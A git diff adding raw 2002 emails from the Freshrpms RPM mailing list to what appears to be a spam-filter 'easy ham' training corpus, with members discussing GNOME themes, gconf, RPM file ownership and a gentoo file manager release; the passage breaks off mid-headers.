<20020809173000.0cbd8458.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-4) +Message-Id: <1028921621.22637.1.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 09 Aug 2002 14:33:40 -0500 +Date: 09 Aug 2002 14:33:40 -0500 + +Me too, I prefer the close button in the upper left corner as well. I +found nice border themes Iridium-Blueish-0.3.tar.gz and +Iridium-Greenish-0.3.tar.gz but forgot where I got them from. + +If you can find, they're worth a try. + +Lance + +On Fri, 2002-08-09 at 10:30, Matthias Saou wrote: +> Once upon a time, Harri wrote : +> +> > My personal problem with gnome2 is that all the wm (metacity) themes are +> > windows themes with different colours. :) There's one pretty +> > nice-looking one from the place where you can get "stylish" theme.. +> > forgot where, have to look it up. +> +> I've found some nice Metacity themes, including the Crux one I like so much +> on www.sunshineinabag.co.uk. They've also got nice gtk2 themes and really +> cool gdm ones. My only regret here is that I liked the ability of choosing +> where the buttons were placed in the sawfish Crux theme, as I prefer the +> close button in the upper left corner :-/ +> +> Matthias +> +> -- +> Matthias Saou World Trade Center +> ------------- Edificio Norte 4 Planta +> System and Network Engineer 08039 Barcelona, Spain +> Electronic Group Interactive Phone : +34 936 00 23 23 +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01204.4169626bfe949118525cf4eabd5b1e81 b/bayes/spamham/easy_ham_2/01204.4169626bfe949118525cf4eabd5b1e81 new file mode 100644 index 0000000..9e38126 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01204.4169626bfe949118525cf4eabd5b1e81 @@ -0,0 +1,62 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 10:50:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E853D440DE + for ; Mon, 12 Aug 2002 05:50:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:50:12 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Jntb23099 for + ; Fri, 9 Aug 2002 20:49:55 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g79Jj2J02039; Fri, 9 Aug 2002 21:45:03 + +0200 +Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g79JhXJ29316 for + ; Fri, 9 Aug 2002 21:43:34 +0200 +Received: from viper (pcp484936pcs.whtmrs01.md.comcast.net [68.33.188.8]) + by mtaout04.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built + May 13 2002)) with SMTP id <0H0L00AHWDF7GY@mtaout04.icomcast.net> for + rpm-list@freshrpms.net; Fri, 09 Aug 2002 15:42:43 -0400 (EDT) +From: Victor +Subject: Find all files that aren't in package. +To: rpm-zzzlist@freshrpms.net +Message-Id: <005801c23fdc$dcded020$6501a8c0@viper> +MIME-Version: 1.0 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7BIT +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 09 Aug 2002 15:42:14 -0400 +Date: Fri, 09 Aug 2002 15:42:14 -0400 + +Is there a way to find all files on the box that do not belong to any rpm +package? + +Thanks + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01205.784243c83be80461eb92f7d849b01c99 b/bayes/spamham/easy_ham_2/01205.784243c83be80461eb92f7d849b01c99 new file mode 100644 index 0000000..5138d64 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01205.784243c83be80461eb92f7d849b01c99 @@ -0,0 +1,73 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 10:51:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 542C243FB1 + for ; Mon, 12 Aug 2002 05:50:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:50:30 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79LMOb25902 for + ; Fri, 9 Aug 2002 22:22:24 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g79LG2J12921; Fri, 9 Aug 2002 23:16:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g79LEvJ12681 for + ; Fri, 9 Aug 2002 23:14:58 +0200 +Received: from aquila.kamakiriad.local ([192.168.1.3]) by kamakiriad.com + (8.11.6/8.11.0) with SMTP id g79KxlM01685; Fri, 9 Aug 2002 15:59:47 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: joshuadfranklin@yahoo.com +Subject: Re: GConf registry (was Re: Pango problems) +Message-Id: <20020809155947.0e1e3e42.kilroy@kamakiriad.com> +In-Reply-To: <20020809190859.63583.qmail@web20007.mail.yahoo.com> +References: <1028913879.23102.6.camel@fuggles> + <20020809190859.63583.qmail@web20007.mail.yahoo.com> +X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 9 Aug 2002 15:59:47 -0500 +Date: Fri, 9 Aug 2002 15:59:47 -0500 + +On Fri, 9 Aug 2002 12:08:59 -0700 (PDT), Joshua Daniel Franklin wrote: + +> I think this sort of discussion would be better on a GNOME list... I hate to +> complain, but this thread has been going on for several days. I don't really +> mind deleting the messages every time, but there's really no reason for it +> on this list. + + Yeah, I'spose. + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +"Waddling" into the mainstream? I suppose... +http://www.usatoday.com/usatonline/20020805/4333165s.htm + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01206.3ab24f493207df1de962814c8fe53a12 b/bayes/spamham/easy_ham_2/01206.3ab24f493207df1de962814c8fe53a12 new file mode 100644 index 0000000..5eabe4e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01206.3ab24f493207df1de962814c8fe53a12 @@ -0,0 +1,112 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 10:51:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65405440DB + for ; Mon, 12 Aug 2002 05:50:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:50:34 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79LhVb26539 for + ; Fri, 9 Aug 2002 22:43:31 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g79Lb1J10820; Fri, 9 Aug 2002 23:37:01 + +0200 +Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com + [216.136.174.113]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g79LapJ08711 for ; Fri, 9 Aug 2002 23:36:51 +0200 +Received: from usercb247.dsl.pipex.com (HELO yahoo.co.uk) + (salimma1@62.190.233.247 with plain) by smtp.mail.vip.sc5.yahoo.com with + SMTP; 9 Aug 2002 21:36:50 -0000 +Message-Id: <3D543685.1050003@yahoo.co.uk> +From: Michel Alexandre Salim +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) + Gecko/20020618 Netscape/7.0b1 +X-Accept-Language: en-gb, en-us, en, in, ms +MIME-Version: 1.0 +To: rpm-zzzlist@freshrpms.net +Subject: Re: Pango problems +References: <20020807182804.5d5e4dcb.kilroy@kamakiriad.com> + <20020808173048.18b4bb62.matthias@egwn.net> + <20020808110003.4a20abd4.kilroy@kamakiriad.com> + <20020808181551.70b1f8b9.matthias@egwn.net> + <1028827085.18927.7.camel@fuggles> + <20020809103423.28a52d56.matthias@egwn.net> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 09 Aug 2002 22:39:17 +0100 +Date: Fri, 09 Aug 2002 22:39:17 +0100 + + +Matthias Saou wrote: + +>Once upon a time, Julian wrote : +> +> +> +>>One of the things you need to understand with gnome2 is that while they +>>did simplify a lot of things, most of the configuration options people +>>found very useful are still available through gconf. Learn to love +>>gconf-editor ;) -- metacity can have sloppy focus (Desktop Preferences +>>-> Window Focus -- there's actually GUI for that), and the delay until +>>raising (and whether it raises) can be set in gconf-editor, +>>/apps/metacity/general/auto_raise and auto_raise_delay +>> +>> +> +>Well, I stand corrected :-) +>The thing is, I hadn't used gconf-editor yet... and it's exactly what I +>feared, old "not so good" memories are coming back : It looks exactly like +>a GNOME RegEdit :-/ Oh well. +>I still hope that the few missing features I'm still looking for will be +>added in the next 2.0.x releases, like for example being able to have the +>panel always under *all* other windows (if you know how to do that, I'm +>really interested! ;-)). +> +> +More like Apple's implementation - the Gconf2 files are bog-standard +XML, should you feel tempted to edit it by hand :) + +There are some possibilities that using standardised configuration tools +provide: the ability to centrally manage a large number of computers - +something like Windows' group policy. Although that would require other +applications to use GConf as well . + +Haven't installed Limbo beta2 myself - been sidetracked by work; the +fact that the computer I'm installing it on is connected to a dodgy USB +ADSL modem that requires heavy kernel patching means that I would have +to do it over a weekend - but I don't think Red Hat currently does it +for its config tools. + +Regards, + +Michel + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01207.73ce863acebc4b93c553e460f3eac81d b/bayes/spamham/easy_ham_2/01207.73ce863acebc4b93c553e460f3eac81d new file mode 100644 index 0000000..881edb7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01207.73ce863acebc4b93c553e460f3eac81d @@ -0,0 +1,67 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 11:00:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 28A7944120 + for ; Mon, 12 Aug 2002 05:54:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:54:12 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7B9iVb29319 for + ; Sun, 11 Aug 2002 10:44:31 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7B9c0J27309; Sun, 11 Aug 2002 11:38:01 + +0200 +Received: from bennew01.localdomain (pD900DDF2.dip.t-dialin.net + [217.0.221.242]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7B9brJ25638 for ; Sun, 11 Aug 2002 11:37:54 +0200 +Received: from bennew01.localdomain (bennew01.localdomain [192.168.3.1]) + by bennew01.localdomain (8.11.6/linuxconf) with SMTP id g7B9bed14628; + Sun, 11 Aug 2002 11:37:41 +0200 +From: Matthias Haase +To: rpm-zzzlist@freshrpms.net +Cc: Manfred Usselmann +Subject: Re: gentoo 0.11.31 relased... +Message-Id: <20020811113740.12aa33f2.matthias_haase@bennewitz.com> +In-Reply-To: <20020811111136.28aab804.matthias_haase@bennewitz.com> +References: <20020811111136.28aab804.matthias_haase@bennewitz.com> +X-Operating-System: customized linux smp kernel 2.4* on i686 +X-Mailer: Sylpheed +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 11 Aug 2002 11:37:40 +0200 +Date: Sun, 11 Aug 2002 11:37:40 +0200 + +..it's a major release and supports now SGI's FAM technology +(see http://www.oss.sgi.com/projects/fam/), meaning gentoo will +now be aware of changes made to the directories it's viewing. + +More details see emils ChangeLog on +https://sourceforge.net/project/shownotes.php?release_id=103492 + +-- +regards from Germany + Matthias + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01208.2573497808d92e8d54c2adfd6c8c38f3 b/bayes/spamham/easy_ham_2/01208.2573497808d92e8d54c2adfd6c8c38f3 new file mode 100644 index 0000000..c1cf9ca --- /dev/null +++ b/bayes/spamham/easy_ham_2/01208.2573497808d92e8d54c2adfd6c8c38f3 @@ -0,0 +1,59 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 11:00:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C90D34411F + for ; Mon, 12 Aug 2002 05:54:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:54:10 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7B9IDb28771 for + ; Sun, 11 Aug 2002 10:18:13 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7B9D3J14804; Sun, 11 Aug 2002 11:13:03 + +0200 +Received: from bennew01.localdomain (pD900DDF2.dip.t-dialin.net + [217.0.221.242]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7B9BsJ05034 for ; Sun, 11 Aug 2002 11:11:54 +0200 +Received: from bennew01.localdomain (bennew01.localdomain [192.168.3.1]) + by bennew01.localdomain (8.11.6/linuxconf) with SMTP id g7B9Bad14045 for + ; Sun, 11 Aug 2002 11:11:36 +0200 +From: Matthias Haase +To: rpm-zzzlist@freshrpms.net +Subject: gentoo 0.11.31 relased... +Message-Id: <20020811111136.28aab804.matthias_haase@bennewitz.com> +X-Operating-System: customized linux smp kernel 2.4* on i686 +X-Mailer: Sylpheed +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 11 Aug 2002 11:11:36 +0200 +Date: Sun, 11 Aug 2002 11:11:36 +0200 + +...see subject + +-- +regards from Germany + Matthias + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01209.f898ade9211cc74e979ac25484aa1066 b/bayes/spamham/easy_ham_2/01209.f898ade9211cc74e979ac25484aa1066 new file mode 100644 index 0000000..886cb4c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01209.f898ade9211cc74e979ac25484aa1066 @@ -0,0 +1,63 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 11:04:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EBE3C44146 + for ; Mon, 12 Aug 2002 05:55:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:55:33 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7C8Xcb03343 for + ; Mon, 12 Aug 2002 09:33:38 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7C8S3J32467; Mon, 12 Aug 2002 10:28:03 + +0200 +Received: from hq.traderman.co.uk (demon-gw.traderman.co.uk + [212.240.172.105]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g7C8RSJ24323 for ; Mon, 12 Aug 2002 10:27:28 +0200 +Received: (qmail+freegate 8970 invoked by alias); 12 Aug 2002 08:24:59 -0000 +Received: from unknown (HELO traderman.co.uk) (193.38.48.94) by + hq.traderman.co.uk with SMTP; 12 Aug 2002 08:24:59 -0000 +Message-Id: <3D577084.35B6B086@traderman.co.uk> +From: Yen Ho +X-Mailer: Mozilla 4.78 [en] (Win98; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: "rpm-zzzlist@freshrpms.net" +Subject: RPM / hardware device / software packages ? +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 09:23:32 +0100 +Date: Mon, 12 Aug 2002 09:23:32 +0100 + +I am new to linux. + +Is that an easy way to identify which rpm / rpms to which hardware +devices or software packages? + +Regards, + Yen Ho +(Technical Support) + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01210.aa0d35504060ae5934a74b6ebcc65775 b/bayes/spamham/easy_ham_2/01210.aa0d35504060ae5934a74b6ebcc65775 new file mode 100644 index 0000000..f8b3a9e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01210.aa0d35504060ae5934a74b6ebcc65775 @@ -0,0 +1,61 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 11:32:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 06CEE43FB1 + for ; Mon, 12 Aug 2002 06:32:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 11:32:29 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CAR4b07683 for + ; Mon, 12 Aug 2002 11:27:04 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7CAO2J00821; Mon, 12 Aug 2002 12:24:02 + +0200 +Received: from hq.traderman.co.uk (demon-gw.traderman.co.uk + [212.240.172.105]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id + g7CAN1J25809 for ; Mon, 12 Aug 2002 12:23:01 +0200 +Received: (qmail+freegate 13621 invoked by alias); 12 Aug 2002 10:20:32 -0000 +Received: from unknown (HELO traderman.co.uk) (193.38.48.94) by + hq.traderman.co.uk with SMTP; 12 Aug 2002 10:20:32 -0000 +Message-Id: <3D578B98.79F80294@traderman.co.uk> +From: Yen Ho +X-Mailer: Mozilla 4.78 [en] (Win98; U) +X-Accept-Language: en +MIME-Version: 1.0 +To: "rpm-zzzlist@freshrpms.net" +Subject: How to add service port ? +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 11:19:05 +0100 +Date: Mon, 12 Aug 2002 11:19:05 +0100 + +How do I install / add an additional service port to the system which +can be access via Microsoft ODBC driver? + +Regards, + Yen Ho +(Technical Support) + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01211.d70576ff4cc0eb62fdb143ab7123cef7 b/bayes/spamham/easy_ham_2/01211.d70576ff4cc0eb62fdb143ab7123cef7 new file mode 100644 index 0000000..8254df5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01211.d70576ff4cc0eb62fdb143ab7123cef7 @@ -0,0 +1,74 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 11:37:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C85CD43FB1 + for ; Mon, 12 Aug 2002 06:37:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 11:37:57 +0100 (IST) +Received: from egwn.net (auth02.nl.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CAcTb08120 for + ; Mon, 12 Aug 2002 11:38:29 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7CAZ2J17918; Mon, 12 Aug 2002 12:35:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7CAY6J13966 for + ; Mon, 12 Aug 2002 12:34:06 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: How to add service port ? +Message-Id: <20020812123237.4014ef57.matthias@egwn.net> +In-Reply-To: <3D578B98.79F80294@traderman.co.uk> +References: <3D578B98.79F80294@traderman.co.uk> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 12:32:37 +0200 +Date: Mon, 12 Aug 2002 12:32:37 +0200 + +Once upon a time, Yen wrote : + +> How do I install / add an additional service port to the system which +> can be access via Microsoft ODBC driver? + +I honestly have no idea, and this is probably not the best list to expect +an answer as it is supposed to discuss rpm packages/packaging matters. + +If you're using Red Hat Linux 7.3, you should try this list : +https://listman.redhat.com/mailman/listinfo/valhalla-list + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01212.9ec77822dfa139740beadd47065a06da b/bayes/spamham/easy_ham_2/01212.9ec77822dfa139740beadd47065a06da new file mode 100644 index 0000000..e3fabde --- /dev/null +++ b/bayes/spamham/easy_ham_2/01212.9ec77822dfa139740beadd47065a06da @@ -0,0 +1,68 @@ +From rpm-list-admin@freshrpms.net Mon Aug 12 11:59:51 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 71F5644160 + for ; Mon, 12 Aug 2002 06:59:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 11:59:50 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7CAx3b08870 for + ; Mon, 12 Aug 2002 11:59:03 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7CAt2J09883; Mon, 12 Aug 2002 12:55:02 + +0200 +Received: from bennew01.localdomain (pD900DE67.dip.t-dialin.net + [217.0.222.103]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g7CArvJ03433 for ; Mon, 12 Aug 2002 12:53:57 +0200 +Received: from bennew01.localdomain (bennew01.localdomain [192.168.3.1]) + by bennew01.localdomain (8.11.6/linuxconf) with SMTP id g7CArh106758 for + ; Mon, 12 Aug 2002 12:53:44 +0200 +From: Matthias Haase +To: rpm-zzzlist@freshrpms.net +Subject: Re: gentoo 0.11.31 released... +Message-Id: <20020812125338.6e376b39.matthias_haase@bennewitz.com> +In-Reply-To: <20020811113740.12aa33f2.matthias_haase@bennewitz.com> +References: <20020811111136.28aab804.matthias_haase@bennewitz.com> + <20020811113740.12aa33f2.matthias_haase@bennewitz.com> +X-Operating-System: customized linux smp kernel 2.4* on i686 +X-Mailer: Sylpheed +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + 